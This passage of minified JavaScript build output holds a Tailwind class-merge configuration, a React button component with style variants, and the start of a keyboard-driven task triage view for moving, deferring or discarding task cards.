()=>[U,X,J],q=()=>[H,`full`,...C()];return{cacheSize:500,theme:{animate:[`spin`,`ping`,`pulse`,`bounce`],aspect:[`video`],blur:[G],breakpoint:[G],color:[le],container:[G],"drop-shadow":[G],ease:[`in`,`out`,`in-out`],font:[fe],"font-weight":[`thin`,`extralight`,`light`,`normal`,`medium`,`semibold`,`bold`,`extrabold`,`black`],"inset-shadow":[G],leading:[`none`,`tight`,`snug`,`normal`,`relaxed`,`loose`],perspective:[`dramatic`,`near`,`normal`,`midrange`,`distant`,`none`],radius:[G],shadow:[G],spacing:[`px`,U],text:[G],"text-shadow":[G],tracking:[`tighter`,`tight`,`normal`,`wide`,`wider`,`widest`]},classGroups:{aspect:[{aspect:[`auto`,`square`,H,J,X,g]}],container:[`container`],"container-type":[{"@container":[``,`normal`,`size`,X,J]}],"container-named":[pe],columns:[{columns:[U,J,X,s]}],"break-after":[{"break-after":y()}],"break-before":[{"break-before":y()}],"break-inside":[{"break-inside":[`auto`,`avoid`,`avoid-page`,`avoid-column`]}],"box-decoration":[{"box-decoration":[`slice`,`clone`]}],box:[{box:[`border`,`content`]}],display:[`block`,`inline-block`,`inline`,`flex`,`inline-flex`,`table`,`inline-table`,`table-caption`,`table-cell`,`table-column`,`table-column-group`,`table-footer-group`,`table-header-group`,`table-row-group`,`table-row`,`flow-root`,`grid`,`inline-grid`,`contents`,`list-item`,`hidden`],sr:[`sr-only`,`not-sr-only`],float:[{float:[`right`,`left`,`none`,`start`,`end`]}],clear:[{clear:[`left`,`right`,`both`,`none`,`start`,`end`]}],isolation:[`isolate`,`isolation-auto`],"object-fit":[{object:[`contain`,`cover`,`fill`,`none`,`scale-down`]}],"object-position":[{object:x()}],overflow:[{overflow:ee()}],"overflow-x":[{"overflow-x":ee()}],"overflow-y":[{"overflow-y":ee()}],overscroll:[{overscroll:S()}],"overscroll-x":[{"overscroll-x":S()}],"overscroll-y":[{"overscroll-y":S()}],position:[`static`,`fixed`,`absolute`,`relative`,`sticky`],inset:[{inset:w()}],"inset-x":[{"inset-x":w()}],"inset-y":[{"inset-y":w()}],start:[{"inset-s":w(),start:w()}],end:[{"inset-e":w(),end:w()}],"inset-bs":[{"inset-bs":w()}],"inset-be":[{"inset-be":w()}],top:[{top:w()}],right:[{right:w()}],bottom:[{bottom:w()}],left:[{left:w()}],visibility:[`visible`,`invisible`,`collapse`],z:[{z:[W,`auto`,X,J]}],basis:[{basis:[H,`full`,`auto`,s,...C()]}],"flex-direction":[{flex:[`row`,`row-reverse`,`col`,`col-reverse`]}],"flex-wrap":[{flex:[`nowrap`,`wrap`,`wrap-reverse`]}],flex:[{flex:[U,H,`auto`,`initial`,`none`,J]}],grow:[{grow:[``,U,X,J]}],shrink:[{shrink:[``,U,X,J]}],order:[{order:[W,`first`,`last`,`none`,X,J]}],"grid-cols":[{"grid-cols":te()}],"col-start-end":[{col:T()}],"col-start":[{"col-start":E()}],"col-end":[{"col-end":E()}],"grid-rows":[{"grid-rows":te()}],"row-start-end":[{row:T()}],"row-start":[{"row-start":E()}],"row-end":[{"row-end":E()}],"grid-flow":[{"grid-flow":[`row`,`col`,`dense`,`row-dense`,`col-dense`]}],"auto-cols":[{"auto-cols":ne()}],"auto-rows":[{"auto-rows":ne()}],gap:[{gap:C()}],"gap-x":[{"gap-x":C()}],"gap-y":[{"gap-y":C()}],"justify-content":[{justify:[...D(),`normal`]}],"justify-items":[{"justify-items":[...O(),`normal`]}],"justify-self":[{"justify-self":[`auto`,...O()]}],"align-content":[{content:[`normal`,...D()]}],"align-items":[{items:[...O(),{baseline:[``,`last`]}]}],"align-self":[{self:[`auto`,...O(),{baseline:[``,`last`]}]}],"place-content":[{"place-content":D()}],"place-items":[{"place-items":[...O(),`baseline`]}],"place-self":[{"place-self":[`auto`,...O()]}],p:[{p:C()}],px:[{px:C()}],py:[{py:C()}],ps:[{ps:C()}],pe:[{pe:C()}],pbs:[{pbs:C()}],pbe:[{pbe:C()}],pt:[{pt:C()}],pr:[{pr:C()}],pb:[{pb:C()}],pl:[{pl:C()}],m:[{m:k()}],mx:[{mx:k()}],my:[{my:k()}],ms:[{ms:k()}],me:[{me:k()}],mbs:[{mbs:k()}],mbe:[{mbe:k()}],mt:[{mt:k()}],mr:[{mr:k()}],mb:[{mb:k()}],ml:[{ml:k()}],"space-x":[{"space-x":C()}],"space-x-reverse":[`space-x-reverse`],"space-y":[{"space-y":C()}],"space-y-reverse":[`space-y-reverse`],size:[{size:A()}],"inline-size":[{inline:[`auto`,...j()]}],"min-inline-size":[{"min-inline":[`auto`,...j()]}],"max-inline-size":[{"max-inline":[`none`,...j()]}],"block-size":[{block:[`auto`,...re()]}],"min-block-size":[{"min-block":[`auto`,...re()]}],"max-block-size":[{"max-block":[`none`,...re()]}],w:[{w:[s,`screen`,...A()]}],"min-w":[{"min-w":[s,`screen`,`none`,...A()]}],"max-w":[{"max-w":[s,`screen`,`none`,`prose`,{screen:[o]},...A()]}],h:[{h:[`screen`,`lh`,...A()]}],"min-h":[{"min-h":[`screen`,`lh`,`none`,...A()]}],"max-h":[{"max-h":[`screen`,`lh`,...A()]}],"font-size":[{text:[`base`,n,Z,Y]}],"font-smoothing":[`antialiased`,`subpixel-antialiased`],"font-style":[`italic`,`not-italic`],"font-weight":[{font:[r,Ee,ge]}],"font-stretch":[{"font-stretch":[`ultra-condensed`,`extra-condensed`,`condensed`,`semi-condensed`,`normal`,`semi-expanded`,`expanded`,`extra-expanded`,`ultra-expanded`,ce,J]}],"font-family":[{font:[xe,_e,t]}],"font-features":[{"font-features":[J]}],"fvn-normal":[`normal-nums`],"fvn-ordinal":[`ordinal`],"fvn-slashed-zero":[`slashed-zero`],"fvn-figure":[`lining-nums`,`oldstyle-nums`],"fvn-spacing":[`proportional-nums`,`tabular-nums`],"fvn-fraction":[`diagonal-fractions`,`stacked-fractions`],tracking:[{tracking:[i,X,J]}],"line-clamp":[{"line-clamp":[U,`none`,X,he]}],leading:[{leading:[a,...C()]}],"list-image":[{"list-image":[`none`,X,J]}],"list-style-position":[{list:[`inside`,`outside`]}],"list-style-type":[{list:[`disc`,`decimal`,`none`,X,J]}],"text-alignment":[{text:[`left`,`center`,`right`,`justify`,`start`,`end`]}],"placeholder-color":[{placeholder:M()}],"text-color":[{text:M()}],"text-decoration":[`underline`,`overline`,`line-through`,`no-underline`],"text-decoration-style":[{decoration:[...R(),`wavy`]}],"text-decoration-thickness":[{decoration:[U,`from-font`,`auto`,X,Y]}],"text-decoration-color":[{decoration:M()}],"underline-offset":[{"underline-offset":[U,`auto`,X,J]}],"text-transform":[`uppercase`,`lowercase`,`capitalize`,`normal-case`],"text-overflow":[`truncate`,`text-ellipsis`,`text-clip`],"text-wrap":[{text:[`wrap`,`nowrap`,`balance`,`pretty`]}],indent:[{indent:C()}],"tab-size":[{tab:[W,X,J]}],"vertical-align":[{align:[`baseline`,`top`,`middle`,`bottom`,`text-top`,`text-bottom`,`sub`,`super`,X,J]}],whitespace:[{whitespace:[`normal`,`nowrap`,`pre`,`pre-line`,`pre-wrap`,`break-spaces`]}],break:[{break:[`normal`,`words`,`all`,`keep`]}],wrap:[{wrap:[`break-word`,`anywhere`,`normal`]}],hyphens:[{hyphens:[`none`,`manual`,`auto`]}],content:[{content:[`none`,X,J]}],"bg-attachment":[{bg:[`fixed`,`local`,`scroll`]}],"bg-clip":[{"bg-clip":[`border`,`padding`,`content`,`text`]}],"bg-origin":[{"bg-origin":[`border`,`padding`,`content`]}],"bg-position":[{bg:ie()}],"bg-repeat":[{bg:N()}],"bg-size":[{bg:ae()}],"bg-image":[{bg:[`none`,{linear:[{to:[`t`,`tr`,`r`,`br`,`b`,`bl`,`l`,`tl`]},W,X,J],radial:[``,X,J],conic:[W,X,J]},we,ye]}],"bg-color":[{bg:M()}],"gradient-from-pos":[{from:P()}],"gradient-via-pos":[{via:P()}],"gradient-to-pos":[{to:P()}],"gradient-from":[{from:M()}],"gradient-via":[{via:M()}],"gradient-to":[{to:M()}],rounded:[{rounded:I()}],"rounded-s":[{"rounded-s":I()}],"rounded-e":[{"rounded-e":I()}],"rounded-t":[{"rounded-t":I()}],"rounded-r":[{"rounded-r":I()}],"rounded-b":[{"rounded-b":I()}],"rounded-l":[{"rounded-l":I()}],"rounded-ss":[{"rounded-ss":I()}],"rounded-se":[{"rounded-se":I()}],"rounded-ee":[{"rounded-ee":I()}],"rounded-es":[{"rounded-es":I()}],"rounded-tl":[{"rounded-tl":I()}],"rounded-tr":[{"rounded-tr":I()}],"rounded-br":[{"rounded-br":I()}],"rounded-bl":[{"rounded-bl":I()}],"border-w":[{border:L()}],"border-w-x":[{"border-x":L()}],"border-w-y":[{"border-y":L()}],"border-w-s":[{"border-s":L()}],"border-w-e":[{"border-e":L()}],"border-w-bs":[{"border-bs":L()}],"border-w-be":[{"border-be":L()}],"border-w-t":[{"border-t":L()}],"border-w-r":[{"border-r":L()}],"border-w-b":[{"border-b":L()}],"border-w-l":[{"border-l":L()}],"divide-x":[{"divide-x":L()}],"divide-x-reverse":[`divide-x-reverse`],"divide-y":[{"divide-y":L()}],"divide-y-reverse":[`divide-y-reverse`],"border-style":[{border:[...R(),`hidden`,`none`]}],"divide-style":[{divide:[...R(),`hidden`,`none`]}],"border-color":[{border:M()}],"border-color-x":[{"border-x":M()}],"border-color-y":[{"border-y":M()}],"border-color-s":[{"border-s":M()}],"border-color-e":[{"border-e":M()}],"border-color-bs":[{"border-bs":M()}],"border-color-be":[{"border-be":M()}],"border-color-t":[{"border-t":M()}],"border-color-r":[{"border-r":M()}],"border-color-b":[{"border-b":M()}],"border-color-l":[{"border-l":M()}],"divide-color":[{divide:M()}],"outline-style":[{outline:[...R(),`none`,`hidden`]}],"outline-offset":[{"outline-offset":[U,X,J]}],"outline-w":[{outline:[``,U,Z,Y]}],"outline-color":[{outline:M()}],shadow:[{shadow:[``,`none`,u,Te,be]}],"shadow-color":[{shadow:M()}],"inset-shadow":[{"inset-shadow":[`none`,d,Te,be]}],"inset-shadow-color":[{"inset-shadow":M()}],"ring-w":[{ring:L()}],"ring-w-inset":[`ring-inset`],"ring-color":[{ring:M()}],"ring-offset-w":[{"ring-offset":[U,Y]}],"ring-offset-color":[{"ring-offset":M()}],"inset-ring-w":[{"inset-ring":L()}],"inset-ring-color":[{"inset-ring":M()}],"text-shadow":[{"text-shadow":[`none`,f,Te,be]}],"text-shadow-color":[{"text-shadow":M()}],opacity:[{opacity:[U,X,J]}],"mix-blend":[{"mix-blend":[...oe(),`plus-darker`,`plus-lighter`]}],"bg-blend":[{"bg-blend":oe()}],"mask-clip":[{"mask-clip":[`border`,`padding`,`content`,`fill`,`stroke`,`view`]},`mask-no-clip`],"mask-composite":[{mask:[`add`,`subtract`,`intersect`,`exclude`]}],"mask-image-linear-pos":[{"mask-linear":[U]}],"mask-image-linear-from-pos":[{"mask-linear-from":z()}],"mask-image-linear-to-pos":[{"mask-linear-to":z()}],"mask-image-linear-from-color":[{"mask-linear-from":M()}],"mask-image-linear-to-color":[{"mask-linear-to":M()}],"mask-image-t-from-pos":[{"mask-t-from":z()}],"mask-image-t-to-pos":[{"mask-t-to":z()}],"mask-image-t-from-color":[{"mask-t-from":M()}],"mask-image-t-to-color":[{"mask-t-to":M()}],"mask-image-r-from-pos":[{"mask-r-from":z()}],"mask-image-r-to-pos":[{"mask-r-to":z()}],"mask-image-r-from-color":[{"mask-r-from":M()}],"mask-image-r-to-color":[{"mask-r-to":M()}],"mask-image-b-from-pos":[{"mask-b-from":z()}],"mask-image-b-to-pos":[{"mask-b-to":z()}],"mask-image-b-from-color":[{"mask-b-from":M()}],"mask-image-b-to-color":[{"mask-b-to":M()}],"mask-image-l-from-pos":[{"mask-l-from":z()}],"mask-image-l-to-pos":[{"mask-l-to":z()}],"mask-image-l-from-color":[{"mask-l-from":M()}],"mask-image-l-to-color":[{"mask-l-to":M()}],"mask-image-x-from-pos":[{"mask-x-from":z()}],"mask-image-x-to-pos":[{"mask-x-to":z()}],"mask-image-x-from-color":[{"mask-x-from":M()}],"mask-image-x-to-color":[{"mask-x-to":M()}],"mask-image-y-from-pos":[{"mask-y-from":z()}],"mask-image-y-to-pos":[{"mask-y-to":z()}],"mask-image-y-from-color":[{"mask-y-from":M()}],"mask-image-y-to-color":[{"mask-y-to":M()}],"mask-image-radial":[{"mask-radial":[X,J]}],"mask-image-radial-from-pos":[{"mask-radial-from":z()}],"mask-image-radial-to-pos":[{"mask-radial-to":z()}],"mask-image-radial-from-color":[{"mask-radial-from":M()}],"mask-image-radial-to-color":[{"mask-radial-to":M()}],"mask-image-radial-shape":[{"mask-radial":[`circle`,`ellipse`]}],"mask-image-radial-size":[{"mask-radial":[{closest:[`side`,`corner`],farthest:[`side`,`corner`]}]}],"mask-image-radial-pos":[{"mask-radial-at":b()}],"mask-image-conic-pos":[{"mask-conic":[U]}],"mask-image-conic-from-pos":[{"mask-conic-from":z()}],"mask-image-conic-to-pos":[{"mask-conic-to":z()}],"mask-image-conic-from-color":[{"mask-conic-from":M()}],"mask-image-conic-to-color":[{"mask-conic-to":M()}],"mask-mode":[{mask:[`alpha`,`luminance`,`match`]}],"mask-origin":[{"mask-origin":[`border`,`padding`,`content`,`fill`,`stroke`,`view`]}],"mask-position":[{mask:ie()}],"mask-repeat":[{mask:N()}],"mask-size":[{mask:ae()}],"mask-type":[{"mask-type":[`alpha`,`luminance`]}],"mask-image":[{mask:[`none`,X,J]}],filter:[{filter:[``,`none`,X,J]}],blur:[{blur:se()}],brightness:[{brightness:[U,X,J]}],contrast:[{contrast:[U,X,J]}],"drop-shadow":[{"drop-shadow":[``,`none`,p,Te,be]}],"drop-shadow-color":[{"drop-shadow":M()}],grayscale:[{grayscale:[``,U,X,J]}],"hue-rotate":[{"hue-rotate":[U,X,J]}],invert:[{invert:[``,U,X,J]}],saturate:[{saturate:[U,X,J]}],sepia:[{sepia:[``,U,X,J]}],"backdrop-filter":[{"backdrop-filter":[``,`none`,X,J]}],"backdrop-blur":[{"backdrop-blur":se()}],"backdrop-brightness":[{"backdrop-brightness":[U,X,J]}],"backdrop-contrast":[{"backdrop-contrast":[U,X,J]}],"backdrop-grayscale":[{"backdrop-grayscale":[``,U,X,J]}],"backdrop-hue-rotate":[{"backdrop-hue-rotate":[U,X,J]}],"backdrop-invert":[{"backdrop-invert":[``,U,X,J]}],"backdrop-opacity":[{"backdrop-opacity":[U,X,J]}],"backdrop-saturate":[{"backdrop-saturate":[U,X,J]}],"backdrop-sepia":[{"backdrop-sepia":[``,U,X,J]}],"border-collapse":[{border:[`collapse`,`separate`]}],"border-spacing":[{"border-spacing":C()}],"border-spacing-x":[{"border-spacing-x":C()}],"border-spacing-y":[{"border-spacing-y":C()}],"table-layout":[{table:[`auto`,`fixed`]}],caption:[{caption:[`top`,`bottom`]}],transition:[{transition:[``,`all`,`colors`,`opacity`,`shadow`,`transform`,`none`,X,J]}],"transition-behavior":[{transition:[`normal`,`discrete`]}],duration:[{duration:[U,`initial`,X,J]}],ease:[{ease:[`linear`,`initial`,_,X,J]}],delay:[{delay:[U,X,J]}],animate:[{animate:[`none`,v,X,J]}],backface:[{backface:[`hidden`,`visible`]}],perspective:[{perspective:[h,X,J]}],"perspective-origin":[{"perspective-origin":x()}],rotate:[{rotate:B()}],"rotate-x":[{"rotate-x":B()}],"rotate-y":[{"rotate-y":B()}],"rotate-z":[{"rotate-z":B()}],scale:[{scale:V()}],"scale-x":[{"scale-x":V()}],"scale-y":[{"scale-y":V()}],"scale-z":[{"scale-z":V()}],"scale-3d":[`scale-3d`],skew:[{skew:K()}],"skew-x":[{"skew-x":K()}],"skew-y":[{"skew-y":K()}],transform:[{transform:[X,J,``,`none`,`gpu`,`cpu`]}],"transform-origin":[{origin:x()}],"transform-style":[{transform:[`3d`,`flat`]}],translate:[{translate:q()}],"translate-x":[{"translate-x":q()}],"translate-y":[{"translate-y":q()}],"translate-z":[{"translate-z":q()}],"translate-none":[`translate-none`],zoom:[{zoom:[W,X,J]}],accent:[{accent:M()}],appearance:[{appearance:[`none`,`auto`]}],"caret-color":[{caret:M()}],"color-scheme":[{scheme:[`normal`,`dark`,`light`,`light-dark`,`only-dark`,`only-light`]}],cursor:[{cursor:[`auto`,`default`,`pointer`,`wait`,`text`,`move`,`help`,`not-allowed`,`none`,`context-menu`,`progress`,`cell`,`crosshair`,`vertical-text`,`alias`,`copy`,`no-drop`,`grab`,`grabbing`,`all-scroll`,`col-resize`,`row-resize`,`n-resize`,`e-resize`,`s-resize`,`w-resize`,`ne-resize`,`nw-resize`,`se-resize`,`sw-resize`,`ew-resize`,`ns-resize`,`nesw-resize`,`nwse-resize`,`zoom-in`,`zoom-out`,X,J]}],"field-sizing":[{"field-sizing":[`fixed`,`content`]}],"pointer-events":[{"pointer-events":[`auto`,`none`]}],resize:[{resize:[`none`,``,`y`,`x`]}],"scroll-behavior":[{scroll:[`auto`,`smooth`]}],"scrollbar-thumb-color":[{"scrollbar-thumb":M()}],"scrollbar-track-color":[{"scrollbar-track":M()}],"scrollbar-gutter":[{"scrollbar-gutter":[`auto`,`stable`,`both`]}],"scrollbar-w":[{scrollbar:[`auto`,`thin`,`none`]}],"scroll-m":[{"scroll-m":C()}],"scroll-mx":[{"scroll-mx":C()}],"scroll-my":[{"scroll-my":C()}],"scroll-ms":[{"scroll-ms":C()}],"scroll-me":[{"scroll-me":C()}],"scroll-mbs":[{"scroll-mbs":C()}],"scroll-mbe":[{"scroll-mbe":C()}],"scroll-mt":[{"scroll-mt":C()}],"scroll-mr":[{"scroll-mr":C()}],"scroll-mb":[{"scroll-mb":C()}],"scroll-ml":[{"scroll-ml":C()}],"scroll-p":[{"scroll-p":C()}],"scroll-px":[{"scroll-px":C()}],"scroll-py":[{"scroll-py":C()}],"scroll-ps":[{"scroll-ps":C()}],"scroll-pe":[{"scroll-pe":C()}],"scroll-pbs":[{"scroll-pbs":C()}],"scroll-pbe":[{"scroll-pbe":C()}],"scroll-pt":[{"scroll-pt":C()}],"scroll-pr":[{"scroll-pr":C()}],"scroll-pb":[{"scroll-pb":C()}],"scroll-pl":[{"scroll-pl":C()}],"snap-align":[{snap:[`start`,`end`,`center`,`align-none`]}],"snap-stop":[{snap:[`normal`,`always`]}],"snap-type":[{snap:[`none`,`x`,`y`,`both`]}],"snap-strictness":[{snap:[`mandatory`,`proximity`]}],touch:[{touch:[`auto`,`none`,`manipulation`]}],"touch-x":[{"touch-pan":[`x`,`left`,`right`]}],"touch-y":[{"touch-pan":[`y`,`up`,`down`]}],"touch-pz":[`touch-pinch-zoom`],select:[{select:[`none`,`text`,`all`,`auto`]}],"will-change":[{"will-change":[`auto`,`scroll`,`contents`,`transform`,X,J]}],fill:[{fill:[`none`,...M()]}],"stroke-w":[{stroke:[U,Z,Y,he]}],stroke:[{stroke:[`none`,...M()]}],"forced-color-adjust":[{"forced-color-adjust":[`auto`,`none`]}]},conflictingClassGroups:{"container-named":[`container-type`],overflow:[`overflow-x`,`overflow-y`],overscroll:[`overscroll-x`,`overscroll-y`],inset:[`inset-x`,`inset-y`,`inset-bs`,`inset-be`,`start`,`end`,`top`,`right`,`bottom`,`left`],"inset-x":[`right`,`left`],"inset-y":[`top`,`bottom`],flex:[`basis`,`grow`,`shrink`],gap:[`gap-x`,`gap-y`],p:[`px`,`py`,`ps`,`pe`,`pbs`,`pbe`,`pt`,`pr`,`pb`,`pl`],px:[`pr`,`pl`],py:[`pt`,`pb`],m:[`mx`,`my`,`ms`,`me`,`mbs`,`mbe`,`mt`,`mr`,`mb`,`ml`],mx:[`mr`,`ml`],my:[`mt`,`mb`],size:[`w`,`h`],"font-size":[`leading`],"fvn-normal":[`fvn-ordinal`,`fvn-slashed-zero`,`fvn-figure`,`fvn-spacing`,`fvn-fraction`],"fvn-ordinal":[`fvn-normal`],"fvn-slashed-zero":[`fvn-normal`],"fvn-figure":[`fvn-normal`],"fvn-spacing":[`fvn-normal`],"fvn-fraction":[`fvn-normal`],"line-clamp":[`display`,`overflow`],rounded:[`rounded-s`,`rounded-e`,`rounded-t`,`rounded-r`,`rounded-b`,`rounded-l`,`rounded-ss`,`rounded-se`,`rounded-ee`,`rounded-es`,`rounded-tl`,`rounded-tr`,`rounded-br`,`rounded-bl`],"rounded-s":[`rounded-ss`,`rounded-es`],"rounded-e":[`rounded-se`,`rounded-ee`],"rounded-t":[`rounded-tl`,`rounded-tr`],"rounded-r":[`rounded-tr`,`rounded-br`],"rounded-b":[`rounded-br`,`rounded-bl`],"rounded-l":[`rounded-tl`,`rounded-bl`],"border-spacing":[`border-spacing-x`,`border-spacing-y`],"border-w":[`border-w-x`,`border-w-y`,`border-w-s`,`border-w-e`,`border-w-bs`,`border-w-be`,`border-w-t`,`border-w-r`,`border-w-b`,`border-w-l`],"border-w-x":[`border-w-r`,`border-w-l`],"border-w-y":[`border-w-t`,`border-w-b`],"border-color":[`border-color-x`,`border-color-y`,`border-color-s`,`border-color-e`,`border-color-bs`,`border-color-be`,`border-color-t`,`border-color-r`,`border-color-b`,`border-color-l`],"border-color-x":[`border-color-r`,`border-color-l`],"border-color-y":[`border-color-t`,`border-color-b`],translate:[`translate-x`,`translate-y`,`translate-none`],"translate-none":[`translate`,`translate-x`,`translate-y`,`translate-z`],"scroll-m":[`scroll-mx`,`scroll-my`,`scroll-ms`,`scroll-me`,`scroll-mbs`,`scroll-mbe`,`scroll-mt`,`scroll-mr`,`scroll-mb`,`scroll-ml`],"scroll-mx":[`scroll-mr`,`scroll-ml`],"scroll-my":[`scroll-mt`,`scroll-mb`],"scroll-p":[`scroll-px`,`scroll-py`,`scroll-ps`,`scroll-pe`,`scroll-pbs`,`scroll-pbe`,`scroll-pt`,`scroll-pr`,`scroll-pb`,`scroll-pl`],"scroll-px":[`scroll-pr`,`scroll-pl`],"scroll-py":[`scroll-pt`,`scroll-pb`],touch:[`touch-x`,`touch-y`,`touch-pz`],"touch-x":[`touch`],"touch-y":[`touch`],"touch-pz":[`touch`]},conflictingClassGroupModifiers:{"font-size":[`leading`]},postfixLookupClassGroups:[`container-type`],orderSensitiveModifiers:[`*`,`**`,`after`,`backdrop`,`before`,`details-content`,`file`,`first-letter`,`first-line`,`marker`,`placeholder`,`selection`]}});function Ie(...e){return Fe(i(e))}var Le=t(),Re=s(`inline-flex shrink-0 items-center justify-center gap-2 rounded-md text-sm font-medium whitespace-nowrap transition-all outline-none focus-visible:border-ring focus-visible:ring-[3px] focus-visible:ring-ring/50 disabled:pointer-events-none disabled:opacity-50 aria-invalid:border-destructive aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4`,{variants:{variant:{default:`bg-primary text-primary-foreground hover:bg-primary/90`,destructive:`bg-destructive text-white hover:bg-destructive/90 focus-visible:ring-destructive/20 dark:bg-destructive/60 dark:focus-visible:ring-destructive/40`,outline:`border bg-background shadow-xs hover:bg-accent hover:text-accent-foreground dark:border-input dark:bg-input/30 dark:hover:bg-input/50`,secondary:`bg-secondary text-secondary-foreground hover:bg-secondary/80`,ghost:`hover:bg-accent hover:text-accent-foreground dark:hover:bg-accent/50`,link:`text-primary underline-offset-4 hover:underline`},size:{default:`h-9 px-4 py-2 has-[>svg]:px-3`,xs:`h-6 gap-1 rounded-md px-2 text-xs has-[>svg]:px-1.5 [&_svg:not([class*='size-'])]:size-3`,sm:`h-8 gap-1.5 rounded-md px-3 has-[>svg]:px-2.5`,lg:`h-10 rounded-md px-6 has-[>svg]:px-4`,icon:`size-9`,"icon-xs":`size-6 rounded-md [&_svg:not([class*='size-'])]:size-3`,"icon-sm":`size-8`,"icon-lg":`size-10`}},defaultVariants:{variant:`default`,size:`default`}});function ze({className:e,variant:t=`default`,size:r=`default`,asChild:i=!1,...a}){let o=i?n:`button`;return(0,Le.jsx)(o,{"data-slot":`button`,"data-variant":t,"data-size":r,className:Ie(Re({variant:t,size:r,className:e})),...a})}function Be(e){return`var(--status-${e})`}function Ve(e){return`var(--priority-${e})`}function He(e){return`var(--sev-${e})`}var Ue={current:`done`,draft:`doing`,stale:`doing`,superseded:`backlog`,archived:`backlog`,indexed:`backlog`,active:`done`,accepted:`done`,resolved:`done`,graduated:`done`,proposed:`doing`,open:`doing`,mitigated:`doing`,closed:`done`,rejected:`discarded`,expired:`backlog`,deprecated:`backlog`,released:`done`,unreleased:`doing`};function We(e){let t=Ue[e];return t?`var(--status-${t})`:`var(--status-${e in Ge?e:`backlog`})`}var Ge={backlog:!0,next:!0,doing:!0,review:!0,blocked:!0,deferred:!0,done:!0,discarded:!0};function Ke(e){return e.startsWith(`T-`)?`cards`:e.startsWith(`DOC-`)||e.startsWith(`PATH-`)?`docs`:e.startsWith(`CHG-`)||e.startsWith(`REL-`)?`changelog`:`memory`}function qe(e){return e==null?``:e<1/60?`now`:e<1?`${Math.round(e*60)} min`:e<48?`${Math.round(e)} h`:`${Math.round(e/24)} d`}export{qe as a,Ie as c,He as i,s as l,Ke as n,Be as o,We as r,ze as s,Ve as t}; |
| import{n as e}from"./rolldown-runtime-CbXtAM7H.js";import{i as t,t as n}from"./react-Buq45Vzz.js";import{Et as r,Y as i,et as a}from"./ui-primitives-Beqd9I2k.js";import{c as o,o as s,s as c,t as l}from"./theme-CNCrPl--.js";import{A as u,C as d,M as f,N as p,P as m,Q as h,a as g,j as _,k as v}from"./index-Dpy209ef.js";import{t as y}from"./layout-QiuZ_k5v.js";import{t as b}from"./progress-DOIfGVtf.js";var x=e(t(),1),S=n(),C=[{key:`N`,label:`Move to next`,status:`next`},{key:`D`,label:`Defer`,status:`deferred`},{key:`X`,label:`Discard`,status:`discarded`}];function w({tasks:e,repoRoot:t,repoUrl:n,onPatch:w,onOpen:T}){let[E,D]=(0,x.useState)(()=>new Set),[O,k]=(0,x.useState)(0),A=(0,x.useMemo)(()=>e.filter(e=>!E.has(e.id)),[E,e]),j=A[O]||A[0],M=e.length;(0,x.useEffect)(()=>{O>=A.length&&k(Math.max(0,A.length-1))},[O,A.length]);let N=(0,x.useCallback)(async(e,t=!0)=>{if(j){try{await w(j.id,e)}catch{return}t&&(D(e=>new Set(e).add(j.id)),k(e=>Math.min(e,Math.max(0,A.length-2))))}},[w,A.length,j]);(0,x.useEffect)(()=>{let e=e=>{if(e.ctrlKey||e.metaKey||e.altKey)return;let t=e.target;if([`INPUT`,`SELECT`,`TEXTAREA`].includes(t.tagName)||t.isContentEditable)return;let n=e.key.toUpperCase();if(n===`J`||e.key===`ArrowDown`)e.preventDefault(),k(e=>Math.min(A.length-1,e+1));else if(n===`K`||e.key===`ArrowUp`)e.preventDefault(),k(e=>Math.max(0,e-1));else if(/^[1-4]$/.test(n))e.preventDefault(),N({priority:g[Number(n)-1]},!1);else{let t=C.find(e=>e.key===n);t&&(e.preventDefault(),N({status:t.status}))}};return document.addEventListener(`keydown`,e),()=>document.removeEventListener(`keydown`,e)},[N,A.length]);let P=e=>n?`${n.replace(/\/+$/,``)}/blob/main/${e}`:`vscode://file${t}/${e}`;return j?(0,S.jsxs)(`div`,{className:`flex min-h-0 flex-1 flex-col overflow-y-auto`,children:[(0,S.jsxs)(`div`,{className:`flex items-center gap-2.5 border-b bg-card px-3.5 py-2.5`,children:[(0,S.jsx)(b,{value:M?E.size/M*100:0,className:`max-w-[340px] flex-1`}),(0,S.jsxs)(`span`,{className:`font-mono text-[11px] text-muted-foreground`,children:[E.size,` of `,M,` processed`]}),(0,S.jsx)(`span`,{className:`flex-1`}),(0,S.jsxs)(c,{type:`button`,variant:`outline`,size:`sm`,disabled:O===0,onClick:()=>k(e=>Math.max(0,e-1)),children:[(0,S.jsx)(h,{children:`K`}),`Previous`]}),(0,S.jsxs)(`span`,{className:`font-mono text-[11px] text-muted-foreground tabular-nums`,children:[O+1,` / `,A.length]}),(0,S.jsxs)(c,{type:`button`,variant:`outline`,size:`sm`,disabled:O>=A.length-1,onClick:()=>k(e=>Math.min(A.length-1,e+1)),children:[(0,S.jsx)(h,{children:`J`}),`Next`]}),(0,S.jsxs)(c,{type:`button`,variant:`outline`,size:`sm`,onClick:()=>T(j.id),children:[(0,S.jsx)(a,{"aria-hidden":`true`}),`Open full card`]})]}),(0,S.jsxs)(`div`,{className:o(y,`px-6 py-7 sm:px-8`),children:[(0,S.jsxs)(`div`,{className:`flex items-center gap-2 font-mono text-[11px] text-muted-foreground`,children:[(0,S.jsx)(`span`,{children:j.id}),(0,S.jsx)(`span`,{className:`text-muted-foreground/60`,children:`·`}),(0,S.jsx)(`span`,{style:{color:s(j.status)},children:j.status}),(0,S.jsx)(`span`,{className:`text-muted-foreground/60`,children:`·`}),(0,S.jsx)(`span`,{children:j.area}),(0,S.jsx)(`span`,{className:`text-muted-foreground/60`,children:`·`}),(0,S.jsx)(`span`,{children:j.type})]}),(0,S.jsx)(`h2`,{className:`mt-3 mb-1 text-[26px] leading-[1.2] font-semibold tracking-tight [text-wrap:pretty]`,children:j.title}),j.file?(0,S.jsx)(`a`,{className:`font-mono text-[11px] text-muted-foreground/70 underline underline-offset-[3px]`,href:P(j.file),target:n?`_blank`:void 0,rel:n?`noreferrer`:void 0,children:j.file}):null,j.source?(0,S.jsxs)(`span`,{className:`mt-[3px] block font-mono text-[11px] text-muted-foreground/70`,children:[`source`,` `,(0,S.jsx)(`a`,{className:`font-mono underline underline-offset-[3px]`,href:P(j.source),target:n?`_blank`:void 0,rel:n?`noreferrer`:void 0,children:j.source})]}):null,(0,S.jsx)(`div`,{className:`mt-[22px]`,children:(0,S.jsx)(d,{source:j.body,onOpen:T})}),(0,S.jsxs)(`div`,{className:`mt-[30px] flex flex-wrap gap-2 border-t 